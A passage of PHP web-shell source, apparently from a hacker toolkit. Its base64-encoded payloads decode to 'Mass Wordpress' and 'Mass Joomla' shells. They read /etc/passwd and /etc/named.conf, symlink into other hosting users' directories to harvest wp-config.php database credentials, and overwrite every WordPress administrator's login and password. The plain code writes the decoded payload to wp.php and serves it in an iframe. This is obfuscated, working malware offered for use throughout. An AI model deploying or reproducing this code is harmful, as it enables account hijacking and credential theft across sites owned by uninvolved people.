0KDQouaXIgew0KICBjb2xvcjogI0ZGMDAwMDsNCn0NCg0KDQoNCjwvc3R5bGU+DQoNCjwvaGVhZD4NCg0KPGJvZHkgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiPg0KDQoNCjxkaXYgY2xhc3M9J2FsbCc+DQoNCg0KPD9waHANCg0KDQoNCg0KDQplY2hvICc8ZGl2IGNsYXNzPSJjb250Ij4NCg0KDQoNCg0KIDxhIGhyZWY9Ij9ibGFja3IwMHQ9d3AiPiBNYXNzIFdvcmRwcmVzcyAgU2gzbGwgPC9hPg0KDQoNCg0KPGJyIC8+PGJyIC8+PGJyIC8+DQoNCg0KDQoNCg0KDQo8L2Rpdj4nOw0KDQppZihpc3NldCgkX1JFUVVFU1RbJ2JsYWNrcjAwdCddKSkNCnsNCg0Kc3dpdGNoICgkX1JFUVVFU1RbJ2JsYWNrcjAwdCddKQ0Kew0KDQoNCg0KDQoNCg0KDQoNCi8vLyBieXBhc3MgcmVhZA0KDQpjYXNlICdyZWFkJzoNCg0KZWNobyAicmVhZCAvZXRjL25hbWVkLmNvbmYiOw0KZWNobyAiPGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz93ZWJyMDB0PXJlYWQmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIwJyBuYW1lPSdmaWxlJz4iOw0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCg0KJGZpbGUgPSAnL2V0Yy9uYW1lZC5jb25mJzsNCg0KDQokcjNhZCA9IEBmb3BlbigkZmlsZSwgJ3InKTsNCmlmICgkcjNhZCl7DQokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQp9DQplbHNlIGlmICghJHIzYWQpDQp7DQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHIzYWQgPSBAaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHNtID0gQHN5bWxpbmsoJGZpbGUsJ3N5bS50eHQnKTsNCg0KDQppZiAoJHNtKXsNCiRyM2FkID0gQGZvcGVuKCdzeW0vc3ltLnR4dCcsICdyJyk7DQokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoNCn0NCn0NCg0KDQoNCmVjaG8gIjwvdGV4dGFyZWE+PGJyIC8+PGJyIC8+PGlucHV0ICB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTYXZlJy8+IDwvZm9ybT4iOw0KDQoNCmlmKGlzc2V0KCRfR0VUWydzYXZlJ10pKXsNCg0KDQokY29udCA9IHN0cmlwY3NsYXNoZXMoJF9QT1NUWydmaWxlJ10pOw0KDQokZiA9IGZvcGVuKCduYW1lZC50eHQnLCd3Jyk7DQoNCiR3ID0gZndyaXRlKCRmLCRjb250KTsNCg0KICAgICAgICAgICAgICAgICAgaWYoJHcpew0KDQogICAgICAgICAgICAgICAgICBlY2hvICc8YnIgLz5zYXZlIGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSc7DQoNCiAgICAgICAgICAgICAgICAgIH0NCg0KZmNsb3NlKCRmKTsNCg0KDQoNCg0KfQ0KDQoNCg0KYnJlYWs7DQoNCi8vIHBhc3N3ZA0KDQpjYXNlICdwYXNzd2QnOg0KDQppZihpc3NldCgkX0dFVFsnc2F2ZSddKSBhbmQgaXNzZXQoJF9QT1NUWydmaWxlJ10pIG9yIEBmaWxlc2l6ZSgncGFzc3dkLnR4dCcpID4gMCl7DQoNCg0KJGNvbnQgPSBzdHJpcGNzbGFzaGVzKCRfUE9TVFsnZmlsZSddKTsNCg0KaWYoIWZpbGVfZXhpc3RzKCdwYXNzd2QudHh0Jykpew0KDQokZiA9IEBmb3BlbigncGFzc3dkLnR4dCcsJ3cnKTsNCg0KJHcgPSBAZndyaXRlKCRmLCRjb250KTsNCg0KZmNsb3NlKCRmKTsNCn0NCmlmKCR3IG9yIEBmaWxlc2l6ZSgncGFzc3dkLnR4dCcpID4gMCl7DQovLyAqIFNIT1cgKiAvLw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nMzUlJz48dGQ+VXNlcnM8L3RkPjx0ZD5zeW1saW5rPC90ZD48dGQ+RlRQPC90ZD4iOw0KZmx1c2goKTsNCg0KJGZpbDMgPSBmaWxlKCdwYXNzd2QudHh0Jyk7DQoNCmZvcmVhY2ggKCRmaWwzIGFzICRmKXsNCg0KICAgICAkdT1leHBsb2RlKCc6JywgJGYpOw0KICAgICAkdXNlciA9ICR1WycwJ107DQoNCg0KDQplY2hvICINCjx0cj4NCg0KDQoNCjx0ZCB3aWR0aD0nMTUlJz4NCiR1c2VyDQo8L3RkPg0KDQoNCg0KDQoNCg0KPHRkIHdpZHRoPScxMCUnPg0KPGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8kdXNlci9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPlN5bWxpbmsgPC9hPg0KPC90ZD4NCg0KPHRkIHdpZHRoPScxMCUnPg0KPGEgaHJlZj0nJHBhZ2VGVFAvc3ltL3Jvb3QvaG9tZS8kdXNlci9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPkZUUDwvYT4NCjwvdGQ+DQoNCg0KDQo8L3RyPjwvZGl2PiAiOw0KDQoNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQoNCn0NCg0KDQoNCg0KDQoNCmRpZSAoIjwvdHI+PC9kaXY+Iik7DQoNCg0KICAgICAgICAgICAgICAgICAgfQ0KDQoNCg0KDQoNCn0NCg0KDQoNCmVjaG8gInJlYWQgL2V0Yy9wYXNzd2QiOw0KZWNobyAiPGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz93ZWJyMDB0PXBhc3N3ZCZzYXZlPTEnPjx0ZXh0YXJlYSBjb2xzPSc4MCcgcm93cz0nMjAnIG5hbWU9J2ZpbGUnPiI7DQpmbHVzaCgpOw0KDQokZmlsZSA9ICcvZXRjL3Bhc3N3ZCc7DQoNCg0KJHIzYWQgPSBAZm9wZW4oJGZpbGUsICdyJyk7DQppZiAoJHIzYWQpew0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KZWNobyAiIi5odG1sZW50aXRpZXMoJGNvbnRlbnQpLiIiOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCiRyM2FkID0gQHNob3dfc291cmNlKCRmaWxlKSA7DQp9DQplbHNlaWYoISRyM2FkKQ0Kew0KJHIzYWQgPSBAaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHVpZD0wOyR1aWQ8MTAwMDskdWlkKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyYSA9IHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhcmEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICIkdmFsOiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiB9DQoNCg0KZmx1c2goKTsNCg0KDQplY2hvICI8L3RleHRhcmVhPjxiciAvPjxiciAvPjxpbnB1dCAgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJm5ic3A7Jm5ic3A7c3ltbGluayZuYnNwOyZuYnNwOycvPiA8L2Zvcm0+IjsNCmZsdXNoKCk7DQoNCmJyZWFrOw0KDQoNCg0KDQoNCmNhc2UgJ3dwJzoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBpbmRleCAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjMw0KDQoNCg0KDQoNCg0KIyMjIyMjIyMgIGFkbWluICMjIyMjIyMjIyMzMw0KDQppZihpc3NldCgkX1BPU1RbJ3MnXSkpew0KDQokZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cygnd3AudHh0Jyk7DQoNCiRleCAgID0gZXhwbG9kZSgiXG4iLCRmaWxlKTsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBkb21pbiA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCg0KZm9yZWFjaCAoJGV4IGFzICRleHApew0KDQokZXMgICA9IGV4cGxvZGUoInx8IiwkZXhwKTsNCg0KJGNvbmZpZyA9ICRlc1swXTsNCg0KJGRvbWluID0gJGVzWzFdOw0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQokcmVhZGNvbmZpZyAgPSBAZmlsZV9nZXRfY29udGVudHModHJpbSgkY29uZmlnKSk7DQoNCmlmKGVyZWcoJ3dwLXNldHRpbmdzLnBocCcsJHJlYWRjb25maWcpKXsNCg0KDQoNCiRwYXNzICAgID0gIGV4KCRyZWFkY29uZmlnLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOw0KDQokdXNlcmRiICA9ICBleCgkcmVhZGNvbmZpZywiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOw0KDQokZGIgICAgICA9ICBleCgkcmVhZGNvbmZpZywiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KDQokZml4ICAgICA9ICBleCgkcmVhZGNvbmZpZywnJHRhYmxlX3ByZWZpeCAgPSBcJycsIic7Iik7DQoNCiR0YWIgICAgID0gJGZpeC4ndXNlcnMnOw0KDQokY29uICAgICA9IEBteXNxbF9jb25uZWN0KCdsb2NhbGhvc3QnLCR1c2VyZGIsJHBhc3MpOw0KDQokZGIgICAgICA9IEBteXNxbF9zZWxlY3RfZGIoJGRiLCRjb24pOw0KDQokcXVlcnkgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCBTRVQgYHVzZXJfbG9naW5gID0nc2VjLXcuY29tJyIpIG9yIGRpZTsNCg0KJHF1ZXJ5ICAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgU0VUIGB1c2VyX3Bhc3NgID0nJDEkNHovLjVpLi4kOWFIWUIuZlVIRW1OWi5lSUtZVHd4LyciKSBvciBkaWU7DQoNCg0KDQppZiAoJHF1ZXJ5KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlN1Y2NlZWQgPC9iPnVzZXIgW0JMQUNLLkphR3VBcl0gcGFzcyBbMV08L2I+Jzt9DQoNCmVsc2UNCg0Kew0KDQokciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+JzsNCg0KfQ0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQoNCg0KDQoNCn1lbHNlew0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD48YiBzdHlsZT0nY29sb3I6cmVkJz5mYWlsZWQyPC9iPjwvdGQ+PC90cj4iOw0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KfQ0KDQp9DQoNCg0KDQoNCg0KDQoNCg0KDQoNCmRpZSgpOw0KDQp9DQoNCmlmKCFpc19maWxlKCduYW1lZC50eHQnKSl7DQoNCiRkMDBtID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KDQp9ZWxzZXsNCg0KJGQwMG0gPSBAZmlsZSgibmFtZWQudHh0Iik7DQoNCg0KfQ0KaWYoISRkMDBtKQ0Kew0KDQogICAgICAgICAgICAgICAgZGllICgiPG1ldGEgaHR0cC1lcXVpdj0ncmVmcmVzaCcgY29udGVudD0nMDsgdXJsPT93ZWJyMDB0PXJlYWQnLz4iKTsNCn0NCmVsc2UNCg0Kew0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCjxmb3JtIG1ldGhvZD0nUE9TVCcgYWN0aW9uPSckcGc/d2VicjAwdD13cCc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nTWFzcyBDaGFuZ2UgQWRtaW4nIC8+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nMScgbmFtZT0ncycgLz4NCjwvZm9ybT4NCjxiciAvPjxiciAvPg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD4gRG9tYWlucyA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KJGYgPSBmb3Blbignd3AudHh0JywndycpOw0KDQpmb3JlYWNoKCRkMDBtIGFzICRkb20pew0KDQppZihlcmVnaSgiem9uZSIsJGRvbSkpew0KDQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KDQppZihzdHJsZW4odHJpbSgkZG9tc3dzWzFdWzBdKSkgPiAyKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbXN3c1sxXVswXSkpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokd3BsPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIjsNCiR3cHA9Z2V0X2hlYWRlcnMoJHdwbCk7DQokd3A9JHdwcFswXTsNCg0KJHdwMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIjsNCiR3cHAyPWdldF9oZWFkZXJzKCR3cDIpOw0KJHdwMTI9JHdwcDJbMF07DQoNCiR3cDM9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZyI7DQokd3BwMz1nZXRfaGVhZGVycygkd3AzKTsNCiR3cDEzPSR3cHAzWzBdOw0KDQoNCiAvLy8vLy8vLy8vIHdwIC8vLy8vLy8vLy8vLw0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCnsNCiAkY29uZmlnPSAkd3BsOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AyOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTMsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AzOw0KfQ0KZWxzZQ0Kew0KY29udGludWU7DQoNCn0NCmZsdXNoKCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQoNCiR3ID0gZndyaXRlKCRmLCIkY29uZmlnfHwkZG9tIFxuIik7DQppZigkdyl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQoNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCg0KDQoNCg0KZmx1c2goKTsNCg0KDQp9DQp9DQp9DQp9DQoNCg0KYnJlYWs7DQoNCg0KDQoNCg0KDQoNCg0KfQ0KDQoNCi8vLyBob21lIC8vLw0KfWVsc2UNCnsNCg0KDQplY2hvICcnOw0KZWNobyAnJzsNCiB7DQoJDQoNCg0KfQ0KDQogICAgZWNobyAnDQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+IDxiPjwvYj4gIDxiPjwvYj4NCjxiciAvPjxiciAvPg0KDQo8YnIgLz48YnIgLz4NCjwvZGl2PiAnOw0KDQp9DQoNCg0KZnVuY3Rpb24gZXgoJHRleHQsJGEsJGIpew0KJGV4cGxvZGUgPSBleHBsb2RlKCRhLCR0ZXh0KTsNCiRleHBsb2RlID0gZXhwbG9kZSgkYiwkZXhwbG9kZVsxXSk7DQpyZXR1cm4gJGV4cGxvZGVbMF07DQp9DQoNCg0KDQplY2hvICc8L2Rpdj4NCg0KDQoNCg0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCic7DQoNCj8+';

$file = fopen("wp.php" ,"w+");
$write = fwrite ($file ,base64_decode($wp1));
fclose($file);
echo '<iframe src="wp.php" style="height:500px; width:1500px; border:0px;" name="Mass">';
yemenfooter();
}
 
 function yemenjoom()
{
   yemenhead();
$joom1 = 'PD9waHANCg0KDQoNCg0KDQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KDQokcGFnZVVSTCA9ICdodHRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VVUkwgKTsNCiRwYWdlVVJMID1zdHJfcmVwbGFjZSgkdVtjb3VudCgkdSktMV0sIiIsJHBhZ2VVUkwgKTsNCg0KJHBhZ2VGVFAgPSAnZnRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nL3B1YmxpY19odG1sLycuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQokdSA9IGV4cGxvZGUoIi8iLCRwYWdlRlRQICk7DQokcGFnZUZUUCA9c3RyX3JlcGxhY2UoJHVbY291bnQoJHUpLTFdLCIiLCRwYWdlRlRQICk7DQoNCj8+DQogIDwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iDQogICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KDQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxoZWFkPg0KPHRpdGxlPk1hc3MgSm9vbWxhPC90aXRsZT4NCg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KICBodG1sLGJvZHkgew0KICAgICBtYXJnaW46IDA7DQogICAgIHBhZGRpbmc6IDA7DQogICAgIG91dGxpbmU6IDA7DQp9DQphew0KDQogZm9udC1zaXplOiAxM3B4Ow0KDQp9DQoNCg0KYm9keSB7DQogICAgZGlyZWN0aW9uOiBsdHI7DQogICAgYmFja2dyb3VuZC1jb2xvcjojRjRGNEY0Ow0KCWNvbG9yOiByZ2IoMTUzLCAxNTMsIDE1Myk7DQogICAgdGV4dC1hbGlnbjogY2VudGVyDQp9DQoNCg0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjMDAwMDAwOw0KfQ0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3Q6aG92ZXJ7DQpib3gtc2hhZG93OiAwcHggMHB4IDRweCAjQUFBQUFBOw0KfQ0KDQoNCi5oZWRyIHsNCiAgZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiAgZm9udC1zaXplOiAyMnB4Ow0KDQoNCn0NCg0KLmNvbnQgYXsNCg0KIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiBjb2xvcjpyZ2IoMTUzLCAxNTMsIDE1Myk7DQogZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiBmb250LXNpemU6IDE2cHg7DQogdGV4dC1zaGFkb3c6IDBweCAwcHggM3B4IDsNCn0NCg0KLmNvbnQgYTpob3ZlcnsNCg0KDQogIGNvbG9yOiAjRUVFRUVFIDsNCiAgdGV4dC1zaGFkb3c6MHB4IDBweCAzcHggIzAwMDAwMCA7DQoNCg0KfQ0KDQoudG1wIHRyIHRkew0KDQpib3JkZXI6IHNvbGlkIDFweCAjQkJCQkJCOw0KDQpwYWRkaW5nOiAycHggOw0KICBmb250LXNpemU6IDEzcHg7DQp9DQoNCi50bXAgdHIgdGQgYSB7DQogIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCg0KDQoNCn0NCg0KLmZvdGVyew0KICBmb250LXNpemU6IDlwdDsNCiAgY29sb3I6ICNBQUFBQUEgOw0KICB0ZXh0LWFsaWduOiBjZW50ZXINCn0NCg0KLnRtcCB0ciB0ZDpob3ZlcnsNCg0KYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzg4ODg4ODsNCg0KfQ0KLmZvdHsNCg0KZm9udC1mYW1pbHk6VGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZjsNCg0KICBmb250LXNpemU6IDExcHQ7DQp9DQouZm9yIGEgOiBob3ZlcnsNCg0KdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4ICMzMzY2RkY7DQoNCn0NCg0KDQouaXIgew0KICBjb2xvcjogI0ZGMDAwMDsNCn0NCg0KDQoNCjwvc3R5bGU+DQoNCjwvaGVhZD4NCg0KPGJvZHkgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiPg0KDQoNCjxkaXYgY2xhc3M9J2FsbCc+DQoNCg0KPD9waHANCg0KDQoNCg0KDQplY2hvICc8ZGl2IGNsYXNzPSJjb250Ij4NCg0KDQogPGEgaHJlZj0iP2JsYWNrcjAwdD1qb29tIj4gTWFzcyBKb29tbGEgU2gzbGwgPC9hPg0KDQoNCg0KDQoNCjxiciAvPjxiciAvPjxiciAvPg0KDQoNCg0KDQoNCg0KPC9kaXY+JzsNCg0KaWYoaXNzZXQoJF9SRVFVRVNUWydibGFja3IwMHQnXSkpDQp7DQoNCnN3aXRjaCAoJF9SRVFVRVNUWydibGFja3IwMHQnXSkNCnsNCg0KDQoNCg0KDQoNCg0KDQovLy8gYnlwYXNzIHJlYWQNCg0KY2FzZSAncmVhZCc6DQoNCmVjaG8gInJlYWQgL2V0Yy9uYW1lZC5jb25mIjsNCmVjaG8gIjxiciAvPjxiciAvPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/d2VicjAwdD1yZWFkJnNhdmU9MSc+PHRleHRhcmVhIGNvbHM9JzgwJyByb3dzPScyMCcgbmFtZT0nZmlsZSc+IjsNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQoNCiRmaWxlID0gJy9ldGMvbmFtZWQuY29uZic7DQoNCg0KJHIzYWQgPSBAZm9wZW4oJGZpbGUsICdyJyk7DQppZiAoJHIzYWQpew0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KZWNobyAiIi5odG1sZW50aXRpZXMoJGNvbnRlbnQpLiIiOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHIzYWQgPSBAc2hvd19zb3VyY2UoJGZpbGUpIDsNCn0NCmVsc2UgaWYgKCEkcjNhZCkNCnsNCiRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCn0NCmVsc2UgaWYgKCEkcjNhZCkNCnsNCiRzbSA9IEBzeW1saW5rKCRmaWxlLCdzeW0udHh0Jyk7DQoNCg0KaWYgKCRzbSl7DQokcjNhZCA9IEBmb3Blbignc3ltL3N5bS50eHQnLCAncicpOw0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KZWNobyAiIi5odG1sZW50aXRpZXMoJGNvbnRlbnQpLiIiOw0KDQp9DQp9DQoNCg0KDQplY2hvICI8L3RleHRhcmVhPjxiciAvPjxiciAvPjxpbnB1dCAgdHlwZT0nc3VibWl0JyB2YWx1ZT0nU2F2ZScvPiA8L2Zvcm0+IjsNCg0KDQppZihpc3NldCgkX0dFVFsnc2F2ZSddKSl7DQoNCg0KJGNvbnQgPSBzdHJpcGNzbGFzaGVzKCRfUE9TVFsnZmlsZSddKTsNCg0KJGYgPSBmb3BlbignbmFtZWQudHh0JywndycpOw0KDQokdyA9IGZ3cml0ZSgkZiwkY29udCk7DQoNCiAgICAgICAgICAgICAgICAgIGlmKCR3KXsNCg0KICAgICAgICAgICAgICAgICAgZWNobyAnPGJyIC8+c2F2ZSBoYXMgYmVlbiBzdWNjZXNzZnVsbHknOw0KDQogICAgICAgICAgICAgICAgICB9DQoNCmZjbG9zZSgkZik7DQoNCg0KDQoNCn0NCg0KDQoNCmJyZWFrOw0KDQovLyBwYXNzd2QNCg0KY2FzZSAncGFzc3dkJzoNCg0KaWYoaXNzZXQoJF9HRVRbJ3NhdmUnXSkgYW5kIGlzc2V0KCRfUE9TVFsnZmlsZSddKSBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KDQoNCiRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQoNCmlmKCFmaWxlX2V4aXN0cygncGFzc3dkLnR4dCcpKXsNCg0KJGYgPSBAZm9wZW4oJ3Bhc3N3ZC50eHQnLCd3Jyk7DQoNCiR3ID0gQGZ3cml0ZSgkZiwkY29udCk7DQoNCmZjbG9zZSgkZik7DQp9DQppZigkdyBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KLy8gKiBTSE9XICogLy8NCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzM1JSc+PHRkPlVzZXJzPC90ZD48dGQ+c3ltbGluazwvdGQ+PHRkPkZUUDwvdGQ+IjsNCmZsdXNoKCk7DQoNCiRmaWwzID0gZmlsZSgncGFzc3dkLnR4dCcpOw0KDQpmb3JlYWNoICgkZmlsMyBhcyAkZil7DQoNCiAgICAgJHU9ZXhwbG9kZSgnOicsICRmKTsNCiAgICAgJHVzZXIgPSAkdVsnMCddOw0KDQoNCg0KZWNobyAiDQo8dHI+DQoNCg0KDQo8dGQgd2lkdGg9JzE1JSc+DQokdXNlcg0KPC90ZD4NCg0KDQoNCg0KDQoNCjx0ZCB3aWR0aD0nMTAlJz4NCjxhIGhyZWY9J3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rIDwvYT4NCjwvdGQ+DQoNCjx0ZCB3aWR0aD0nMTAlJz4NCjxhIGhyZWY9JyRwYWdlRlRQL3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5GVFA8L2E+DQo8L3RkPg0KDQoNCg0KPC90cj48L2Rpdj4gIjs